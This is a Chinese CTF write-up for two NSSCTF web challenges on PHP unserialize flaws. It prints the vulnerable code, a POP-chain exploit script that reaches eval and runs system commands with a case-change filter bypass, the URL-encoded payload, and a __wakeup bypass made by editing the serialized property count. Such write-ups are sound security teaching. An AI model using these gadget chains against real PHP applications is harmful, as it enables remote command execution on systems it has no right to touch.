NSSCTF-Web题目18(反序列化)

目录

[[NISACTF 2022]babyserialize](#[NISACTF 2022]babyserialize)

1、题目

2、知识点

3、思路

[[SWPUCTF 2022 新生赛]ez_ez_unserialize](#[SWPUCTF 2022 新生赛]ez_ez_unserialize)

4、题目

5、知识点

6、思路


[NISACTF 2022]babyserialize

1、题目
2、知识点

反序列化、绕过过滤、命令执行

3、思路
php 复制代码
<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

题目出现了代码,我们老规矩,逐个逐个进行分析

1、NISA类

__wakeup():在进行反序列化前会执行

__invoke():类对象被当成函数时执行

这个类里面有一个if条件,但条件满足时,会执行hint()

重点是在__invoke(),里面有eval函数,这可以给我们执行系统命令,也是获取flag的入口

2、TianXiWei类

这一个类只有一个__wakeup()析构函数,但是有一个不存在的函数nisa()

3、Ilovetxw类

__call:在对象中调用一个不可访问方法时会执行

__toString:类被当成字符串时被调用

这一个类中__toString返回的是一个函数,__call有fun这个不存在的变量

4、four类

__set:对不存在或者不可访问的变量进行赋值就会自动调用

这一类中有一个if条件,满足后将$a变成小写的字符串

通过上面的这些类后,我们下面来捋一下,要怎么得到flag

首先,要得到flag,就要执行系统函数,也就是要执行__invoke中的eval(txw4ever),要调用__invoke需要通过Ilovetxw类的 __toString,因为这个方法结果是返回一个函数,要调用__toString

就要通过four类的__set,且要满足if条件,要调用__set需要通过Ilovetxw类的__call,要调用__call,需要TianXiWei类的__wakeup,因为里面有不存在的函数nias()

payload如下:

php 复制代码
<?php
class NISA{
	//定义变量
    public $fun="show_me_flag";
	public $txw4ever;
}
class TianXiWei{
	//定义变量
	public $ext;
    public $x;
}
class Ilovetxw{
	//定义变量
	public $huang;
    public $su;
}
class four{
	//定义变量
	public $a="TXW4EVER";
    private $fun="sixsixsix"; //满足类中的if条件
}

$a=new NISA;
$a->txw4ever='system("ls /");';  //将系统命令赋给变量txw4ever
$b=new Ilovetxw; 
$b->su=$a;  //将NISA类当成函数执行,调用__invoke
$c=new four;
$c->a=$b; //将Ilovetxw类当成字符串,调用__to_string
$b=new Ilovetxw;
$b->huang=$c; //将Ilovetxw类传给Ilovetxw类的huang变量,调用__set
$d=new TianXiWei;
$d->ext=$b;  //Ilovetxw类传给TianXiWei的ext变量,调用__call
echo urlencode(serialize($d)); //因为存在private属性的变量,可能存在一些不可见的字符,所以需要进行url编码
?>

PHP 在线工具 | 菜鸟工具 (jyshare.com)

代码最后给了我们提示

这里执行了hint()函数,我们需要进行绕过,更改NISA类中的fun参数

这里要绕过的原因:因为我们是要NISA类中__invoke里面的结果,也就是执行TianXiWei类的_wakeup,而不是NISA类中__wakeup

这里的checkcheck()进行了正则比较,我们只能盲猜

利用大小写绕过

命令正常执行,得到文件

cat /fllllllaaag

完整的payload:

php 复制代码
<?php
class NISA{
	//定义变量
    public $fun="show_me_flag";
	public $txw4ever;
}
class TianXiWei{
	//定义变量
	public $ext;
    public $x;
}
class Ilovetxw{
	//定义变量
	public $huang;
    public $su;
}
class four{
	//定义变量
	public $a="TXW4EVER";
    private $fun="sixsixsix"; //满足类中的if条件
}

$a=new NISA;
$a->txw4ever='System("cat /fllllllaaag");';  //将系统命令赋给变量txw4ever
$a->fun="aaa";
$b=new Ilovetxw; 
$b->su=$a;  //将NISA类当成函数执行,调用__invoke
$c=new four;
$c->a=$b; //将Ilovetxw类当成字符串,调用__to_string
$b=new Ilovetxw;
$b->huang=$c; //将Ilovetxw类传给Ilovetxw类的huang变量,调用__set
$d=new TianXiWei;
$d->ext=$b;  //Ilovetxw类传给TianXiWei的ext变量,调用__call
echo urlencode(serialize($d)); //因为存在private属性的变量,可能存在一些不可见的字符,所以需要进行url编码
?>

执行结果:

O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A3%3A%22aaa%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A27%3A%22System%28%22cat+%2Ffllllllaaag%22%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D

得到flag:NSSCTF{17e0b531-db47-4e14-abac-9ae0a2e8e3ec}


[SWPUCTF 2022 新生赛]ez_ez_unserialize

4、题目
5、知识点

反序列化,__wakeup()绕过

6、思路

出现代码,我们进行代码审计

X类有三个析构函数

_construct:在类被实例化时调用

__wakeup:在类被反序列化之前调用

__destruct:在对象销毁后执行,这里面有highlight_file函数,并提示我们flag在fllllllag.php里面

所以这个是读取flag的入口

highlight_file()

$_REQUEST可以读取GET方式或者POST方式的数据

难点:我们需要将x=fllllllag.php,然后序列化,但是__wakeup在反序列化前被调用,那我们的赋值就失效了,就要考虑怎么绕过这个函数

解决,序列化后更改序列对象的数量进行绕过

payload如下:

php 复制代码
class X{
    public $x;
}

$a=new X;
$a->x="fllllllag.php";
echo serialize($a); 
?>

O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

改成:O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

  • O代表对象,这里是序列化的一个对象,要序列化数组的就用A
  • 1表示的是类名的长度
  • "X"表示对是类名
  • 1表示类里面有1个属性也称为变量 (更改这里绕过__wakeup)
  • s表示字符串的长度
  • 比如s:1:"x" 这里表示的是 x属性名(变量名)为1个字符串长度 字符串 属性长度 属性值

得到flag:NSSCTF{4812e4ce-01a5-4e02-9975-3d8bc10cdc40}


这篇文章就先写到这里了,哪里不懂的或者哪里不足的欢迎指出

相关推荐
iMonster15 小时前
React 组件的组合模式之道 (Composition Pattern)
前端
呐呐呐呐呢16 小时前
antd渐变色边框按钮
前端
元直数字电路验证16 小时前
Jakarta EE Web 聊天室技术梳理
前端
wadesir16 小时前
Nginx配置文件CPU优化(从零开始提升Web服务器性能)
服务器·前端·nginx
牧码岛16 小时前
Web前端之canvas实现图片融合与清晰度介绍、合并
前端·javascript·css·html·web·canvas·web前端
灵犀坠16 小时前
前端面试八股复习心得
开发语言·前端·javascript
9***Y4816 小时前
前端动画性能优化
前端
网络点点滴16 小时前
Vue3嵌套路由
前端·javascript·vue.js
牧码岛16 小时前
Web前端之Vue+Element打印时输入值没有及时更新dom的问题
前端·javascript·html·web·web前端
小二李16 小时前
第8章 Node框架实战篇 - 文件上传与管理
前端·javascript·数据库